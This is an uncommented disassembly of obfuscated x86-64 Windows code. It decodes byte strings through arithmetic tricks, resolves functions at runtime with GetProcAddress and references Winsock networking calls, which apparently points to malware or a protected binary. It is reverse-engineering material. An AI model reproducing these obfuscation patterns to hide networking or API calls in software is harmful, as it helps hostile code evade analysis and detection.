movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14006d162
lea rax, [r8 + 5]
cmp rbx, rax
jae 0x14006c6ea
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x14006c720
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006cf98
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006cf7c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006cf5c
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006cf2d
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006cc78
nop dword [rax]
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006cc6a
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14006cc44
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006cc21
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006cc05
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006cbe5
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14006cbc5
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006cba6
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006cb86
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006cb57
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006c730
lea rbx, [r8 + 2]
lea r8, [rbx + 8]
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006d142
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006d122
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14006c916
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006c8f7
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006c8d8
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006cb04
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006cab7
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006ca77
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006ca4f
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006c730
lea rbx, [r8 + 0x20]
lea r8, [rbx + 8]
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006ca1d
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006c9fd
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14006c9de
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006c9c1
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006c9ac
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006c99e
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14006c978
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006c952
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006c936
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006c730
lea rbx, [r8 + 0x20]
lea r8, [rbx + 8]
jmp 0x14006c730
lea edx, [r9 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006c720
lea edx, [r9 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x14006c6c0
sub r9b, 0x18
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
add dil, r9b
jmp 0x14006c660
lea edx, [r9 - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x40
jmp 0x14006cfaf
add r9b, 0x10
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x70
inc r8
dec r11
inc r11
jmp 0x14006c643
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14006c643
lea edx, [r9 - 0x50]
mov ecx, 0x18
jmp 0x14006d011
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
jmp 0x14006d046
add r9b, 0x50
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x30
jmp 0x14006d049
lea edx, [r9 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
add dil, dl
jmp 0x14006d07e
sub r9b, 0x10
movzx eax, r10b
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006d0ac
add r9b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
add r9b, 8
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x38
mov byte [rbp + r11 + 0xe0], dil
inc r11
jmp 0x14006c643
lea edx, [r9 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x68
add dil, dl
cmp r8, 1
jb 0x14006ca67
lea edx, [r9 + 0x10]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006cfb2
lea edx, [r9 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp rbx, 0x200
jae 0x14006cee9
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14006ce48
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x50
jmp 0x14006ca8e
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x200
je 0x14006cf0b
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14006cd66
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
jmp 0x14006cace
add r9b, 0x50
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x30
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
add dil, r9b
jmp 0x14006d0ac
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d07e
add r9b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006d049
sub r9b, 0x70
movzx eax, r10b
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006d046
lea edx, [r9 - 0x20]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x20
jmp 0x14006d01f
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
dec r11
inc r11
jmp 0x14006c643
add r9b, 0x80
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x14006c643
lea edx, [r9 - 0x30]
mov ecx, 0x28
jmp 0x14006cfa1
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x14006cc95
lea edx, [r9 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, recv
jmp 0x14006cb13
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006cccd
add r9b, 0x70
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006ccf3
add r9b, 0x80
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x80
jmp 0x14006d049
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006cd19
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
jmp 0x14006d046
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006cd4b
add r9b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14006c643
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006cb1e
lea edx, [r9 - 0x10]
mov ecx, gethostname
jmp 0x14006cfa1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006cd8b
lea edx, [r9 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
jmp 0x14006cfaf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006cdba
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r11
inc r11
jmp 0x14006c643
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006cde0
sub r9b, 0x18
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x58
jmp 0x14006d046
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006ce09
sub r9b, 8
movzx eax, r10b
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006d0ac
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006cad1
sub r9b, 0x58
movzx eax, r10b
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006ce80
sub r9b, 0x20
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x20
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006cea8
lea edx, [r9 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d07e
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006cece
sub r9b, 0x60
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x60
jmp 0x14006d046
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006ca91
lea edx, [r9 + 0x60]
mov ecx, 0x30
jmp 0x14006cfa1
lea edx, [r9 - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x40
add dil, dl
add dil, r10b
jmp 0x14006d022
lea edx, [r9 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x10
add dil, dl
jmp 0x14006d07e
sub r9b, 0x18
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x58
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
sub r9b, 0x28
movzx eax, r10b
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006d049
lea edx, [r9 + 0x78]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x48
jmp 0x14006d01f
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x18
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x58
add r10b, r9b
mov byte [rbp + r11 + 0xe0], r10b
inc r8
dec r11
inc r11
jmp 0x14006c643
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006c643
movzx r9d, r11b
lea edx, [r9 - 8]
mov ecx, 0x1c
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x68
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x28
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0xe0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006c643
lea rcx, [r11 + r13]
and sil, cl
add sil, sil
movzx edi, r10b
sub dil, sil
sub dil, 0x58
add dil, cl
movzx r9d, r11b
add r9b, 0x48
movzx eax, r10b
and al, r9b
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xe0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xe0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
lea rcx, [r11 + r15]
and sil, cl
mov eax, 0x24
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx eax, byte [rbp + r11 + 0xe0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006c643
add r9b, 0x38
movzx eax, r10b
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006c640
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006c627
lea rdx, [rbp + 0x1548e00]
jmp 0x14006d17b
lea rdx, [rbp + 0x1350bd8]
jmp 0x14006d17b
lea rdx, [rbp + 0xe0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x68], rax
mov byte [rbp + 0x320], 0xc4
mov byte [rbp + 0x321], 0x2b
mov byte [rbp + 0x322], 0x3b
mov byte [rbp + 0x323], 0x2d
mov byte [rbp + 0x324], 0x57
mov byte [rbp + 0x325], 0x51
mov byte [rbp + 0x326], 0x47
mov byte [rbp + 0x327], 0x5b
mov byte [rbp + 0x328], 0x4d
mov byte [rbp + 0x329], 0xb4
mov byte [rbp + 0x32a], 0x4f
mov byte [rbp + 0x32b], 0x50
mov byte [rbp + 0x32c], 0x5f
mov byte [rbp + 0x32d], 0x4c
mov byte [rbp + 0x32e], 0x41
mov byte [rbp + 0x32f], 0x42
mov byte [rbp + 0x330], 0xe8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x331], xmm0
mov qword [rbp + 0x341], rax
mov dword [rbp + 0x349], eax
movabs r14, 0x47223a099783e13c
movabs r13, 0xf1ef9643249b28a4
movabs r15, 0xd566ae1cc68ba3b4
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2d
jae 0x14006dd8d
movzx r10d, byte [rbp + r11 + 0x320]
mov esi, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14006dd84
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006d29c
lea rcx, [r11 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x5c
jmp 0x14006d2c9
je 0x14006dd0f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006dc80
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006dc28
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006dc03
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x14006dd7b
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006d2fa
lea ecx, [r9 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
jmp 0x14006d340
je 0x14006dbb9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006db96
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006db79
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006db59
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006db27
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14006d8b2
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006d897
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14006d86e
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006d84b
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006d830
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006d810
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14006d7f0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006d7d5
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006d7b8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006d786
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14006d350
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006dd5b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006dd3e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006d541
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14006d522
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006d507
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006d73d
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14006d6f5
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006d6b5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006d68d
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006d350
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006d65e
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006d63e
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006d61f
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006d602
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006d5e5
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006d5c6
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006d5a3
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006d57d
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006d55e
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006d350
lea rbx, [r8 + 4]
lea r8, [rbx + 3]
jmp 0x14006d350
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x14006d340
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006d2d0
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
jmp 0x14006d270
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dbd3
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
inc r8
dec r11
inc r11
jmp 0x14006d253
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
dec r11
inc r11
jmp 0x14006d253
lea edx, [r9 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dc42
add r9b, 0x80
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x80
jmp 0x14006dc64
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
jmp 0x14006dc67
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dc9c
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006dcca
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
movzx eax, byte [rbp + r11 + 0x320]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d253
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
mov byte [rbp + r11 + 0x320], dil
inc r11
jmp 0x14006d253
lea edx, [r9 - 4]
movzx eax, dl
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 2
jb 0x14006d6a5
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x14006dbd3
lea edx, [r9 - 0x7c]
movzx eax, dl
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp rbx, 0x400
jae 0x14006daed
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14006da3b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
jmp 0x14006d6c4
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x14006db0b
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x14006d997
lea ecx, [r9 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x14
jmp 0x14006d70f
sub r9b, 0x78
movzx eax, r9b
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x320]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d253
add r9b, 0x10
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x70
jmp 0x14006dcca
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x14006dc9c
add r9b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006dc67
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006dc64
lea ecx, [r9 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x50
jmp 0x14006dc42
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
dec r11
inc r11
jmp 0x14006d253
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006d253
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
jmp 0x14006dbd3
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14006d8da
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006d753
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d915
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x320]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d253
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d93e
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006dc67
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006d964
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x14006dc64
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006d753
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006d253
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d9bb
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
jmp 0x14006dbd3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006d9ea
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14006d253
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006da13
add r9b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006dc67
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d70f
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x14006dc9c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006da76
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x320]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d253
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006da9c
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
jmp 0x14006dcca
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006dac0
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x14006dc9c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006d6cf
add r9b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006dc67
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006dc42
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14006dc9c
add r9b, 0x24
movzx eax, r9b
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x320]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d253
sub r9b, 0x54
movzx eax, r10b
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14006dcca
sub r9b, 0x44
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x24
jmp 0x14006dc67
add r9b, 0x54
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4c
dec r11
inc r11
jmp 0x14006d253
lea edx, [r9 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
